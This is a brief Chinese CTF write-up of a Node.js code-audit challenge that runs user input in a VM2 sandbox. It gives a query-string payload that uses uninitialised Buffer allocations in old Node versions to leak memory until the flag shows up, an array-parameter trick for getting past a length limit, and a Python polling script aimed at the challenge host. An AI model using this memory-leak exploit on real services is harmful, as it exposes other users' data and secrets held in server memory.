node.js 代码审计
⑧太懂node.js
他是用VM2来执行的
可知buffer
emmm,搜着搜着wp搜出来了
相关wp
低版本的node可以使用buffer()来查看内存,只要调用过的变量,都会存在内存中,那么我们可以构造paylaod读取内存
相关资料
这我也看不懂。。。。。emmmm
记得用数组来绕这个长度限制
payload(这个payload在buu无效)
?data[]=for (var step = 0; step < 100000; step++) {var buf = (new Buffer(100)).toString('ascii');if (buf.indexOf("hitcon{") !== -1) {break;}}buf;
他这个payload大致就是一直执行然后当回显出flag的时候退出并返回
是在buu做的,记得改下flag
exp
import requests
import time
url = 'http://19a931b5-2f8a-42c4-b400-20ba417d6a4f.node3.buuoj.cn/?data=Buffer(500)'
while True:
r = requests.get(url)
time.sleep(0.1)
print('trying')
if 'flag{' in r.text:
print(r.text)
break